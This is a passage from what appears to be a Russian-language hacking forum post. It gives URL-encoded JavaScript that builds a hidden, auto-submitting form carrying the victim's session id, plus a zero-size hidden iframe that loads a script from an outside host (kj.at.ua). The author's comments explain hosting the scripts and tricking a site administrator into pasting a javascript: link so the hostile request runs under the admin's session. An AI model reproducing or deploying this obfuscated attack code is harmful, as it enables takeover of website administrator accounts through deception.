25%36%64%25%36%63%25%35%66%25%36%64%25%36%35%25%37 %33%25%37%33%25%36%31%25%36%37%25%36%35%25%32%32%2 5%32%30%25%37%36%25%36%31%25%36%63%25%37%35%25%36% 35%25%33%64%25%32%32%25%33%31%25%32%32%25%33%65%25 %33%63%25%36%39%25%36%65%25%37%30%25%37%35%25%37%3 4%25%32%30%25%37%34%25%37%39%25%37%30%25%36%35%25% 33%64%25%32%32%25%37%33%25%37%35%25%36%32%25%36%64 %25%36%39%25%37%34%25%32%32%25%32%30%25%36%39%25%3 6%34%25%33%64%25%32%32%25%36%34%25%36%66%25%35%33% 25%36%64%25%36%32%25%34%32%25%37%34%25%32%32%25%33 %65%25%33%63%25%36%39%25%36%65%25%37%30%25%37%35%2 5%37%34%25%32%30%25%37%34%25%37%39%25%37%30%25%36% 35%25%33%64%25%32%32%25%36%38%25%36%39%25%36%34%25 %36%34%25%36%35%25%36%65%25%32%32%25%32%30%25%36%6 5%25%36%31%25%36%64%25%36%35%25%33%64%25%32%32%25% 37%33%25%32%32%25%32%30%25%37%36%25%36%31%25%36%63 %25%37%35%25%36%35%25%33%64%25%32%32%25%33%31%25%3 2%32%25%33%65%25%33%63%25%36%39%25%36%65%25%37%30% 25%37%35%25%37%34%25%32%30%25%37%34%25%37%39%25%37 %30%25%36%35%25%33%64%25%32%32%25%36%38%25%36%39%2 5%36%34%25%36%34%25%36%35%25%36%65%25%32%32%25%32% 30%25%36%65%25%36%31%25%36%64%25%36%35%25%33%64%25 %32%32%25%36%31%25%32%32%25%32%30%25%37%36%25%36%3 1%25%36%63%25%37%35%25%36%35%25%33%64%25%32%32%25% 33%33%25%33%31%25%32%32%25%33%65%25%33%63%25%36%39 %25%36%65%25%37%30%25%37%35%25%37%34%25%32%30%25%3 7%34%25%37%39%25%37%30%25%36%35%25%33%64%25%32%32% 25%36%38%25%36%39%25%36%34%25%36%34%25%36%35%25%36 %65%25%32%32%25%32%30%25%36%65%25%36%31%25%36%64%2 5%36%35%25%33%64%25%32%32%25%37%34%25%32%32%25%32% 30%25%37%36%25%36%31%25%36%63%25%37%35%25%36%35%25 %33%64%25%32%32%25%33%31%25%32%32%25%33%65%25%33%6 3%25%36%39%25%36%65%25%37%30%25%37%35%25%37%34%25% 32%30%25%37%34%25%37%39%25%37%30%25%36%35%25%33%64 %25%32%32%25%36%38%25%36%39%25%36%34%25%36%34%25%3 6%35%25%36%65%25%32%32%25%32%30%25%36%65%25%36%31% 25%36%64%25%36%35%25%33%64%25%32%32%25%37%33%25%37 %33%25%36%39%25%36%34%25%32%32%25%32%30%25%37%36%2 5%36%31%25%36%63%25%37%35%25%36%35%25%33%64%25%32% 32%22%2b%64%66%5b%33%5d%2b%22%25%32%32%25%33%65%25 %33%63%25%36%39%25%36%65%25%37%30%25%37%35%25%37%3 4%25%32%30%25%37%34%25%37%39%25%37%30%25%36%35%25% 33%64%25%32%32%25%36%38%25%36%39%25%36%34%25%36%34 %25%36%35%25%36%65%25%32%32%25%32%30%25%36%39%25%3 6%34%25%33%64%25%32%32%25%36%65%25%37%35%25%36%64% 25%36%39%25%32%32%25%32%30%25%37%36%25%36%31%25%36 %63%25%37%35%25%36%35%25%33%64%25%32%32%25%33%31%2 5%32%32%25%33%65%25%33%63%25%32%66%25%36%36%25%36% 66%25%37%32%25%36%64%25%33%65%25%33%63%25%37%33%25 %36%33%25%37%32%25%36%39%25%37%30%25%37%34%25%33%6 5%25%36%36%25%37%35%25%36%65%25%36%33%25%37%34%25% 36%39%25%36%66%25%36%65%25%32%30%25%37%38%25%32%38 %25%32%39%25%37%62%25%36%34%25%36%66%25%36%33%25%3 7%35%25%36%64%25%36%35%25%36%65%25%37%34%25%32%65% 25%36%36%25%36%66%25%37%32%25%36%64%25%37%33%25%35 %62%25%32%37%25%36%31%25%36%34%25%36%34%25%36%36%2 5%36%66%25%37%32%25%36%64%25%32%37%25%35%64%25%32% 65%25%37%33%25%37%35%25%36%32%25%36%64%25%36%39%25 %37%34%25%32%38%25%32%39%25%33%62%25%37%64%25%32%3 0%25%37%38%25%32%38%25%32%39%25%33%62%25%33%63%25% 32%66%25%37%33%25%36%33%25%37%32%25%36%39%25%37%30 %25%37%34%25%33%65%22%29%29%3b%7d%73%65%74%54%69%6 d%65%6f%75%74%28%27%67%65%74%66%72%61%6d%65%28%29% 27%2c%32%30%30%30%29%3c%2f%73%63%72%69%70%74%3e"))
а здесь будет код, который скроет деятельность в iframe
Code:
document.write(unescape("%3c%69%66%72%61%6d%65%20%20%73%72%63%3d%22%6a%61%7 6%61%73%63%72%69%70%74%3a%25%36%34%25%36%66%25%36% 33%25%37%35%25%36%64%25%36%35%25%36%65%25%37%34%25 %32%65%25%37%37%25%37%32%25%36%39%25%37%34%25%36%3 5%25%32%38%25%32%37%25%33%63%25%37%33%25%36%33%25% 37%32%25%36%39%25%37%30%25%37%34%25%32%30%25%37%33 %25%37%32%25%36%33%25%33%64%25%32%32%25%36%38%25%3 7%34%25%37%34%25%37%30%25%33%61%25%32%66%25%32%66% 25%36%62%25%36%61%25%32%65%25%36%31%25%37%34%25%32 %65%25%37%35%25%36%31%25%32%66%25%37%38%25%32%65%2 5%36%61%25%37%33%25%32%32%25%33%65%25%33%63%25%32% 66%25%37%33%25%36%33%25%37%32%25%36%39%25%37%30%25 %37%34%25%33%65%25%32%37%25%32%39%22%20%6e%61%6d%6 5%3d%22%73%66%72%61%6d%65%22%20%69%64%3d%22%73%66% 72%61%6d%65%22%20%77%69%64%74%68%3d%22%30%3f%20%68 %65%69%67%68%74%3d%22%30%3f%20%73%63%72%6f%6c%6c%6 9%6e%67%3d%22%6e%6f%22%20%66%72%61%6d%65%62%6f%72% 64%65%72%3d%22%30%3f%20%73%74%79%6c%65%3d%22%64%69 %73%70%6c%61%79%3a%20%6e%6f%6e%65%22%3e%3c%2f%69%6 6%72%61%6d%65%3e"))
потом все заливаем на короткий адресс(например kj.at.ua)
и даем админу ввести, ну если он ламер то все пройдет....
пример
HTML:
javascript:document.write('%3c%73cript %73rc%3d"%68ttp:%2f/kj.at.ua/z.%6a%73"%3e%3c/%73cript%3e')
Естественно, для этого вам нужно поместить скрипты в 2 файла .js и разместить их на своем хосте ...
И заранее, подкорректировать там адреса(внутри зашифрованного кода)
Будут вопросы, задавайте ; )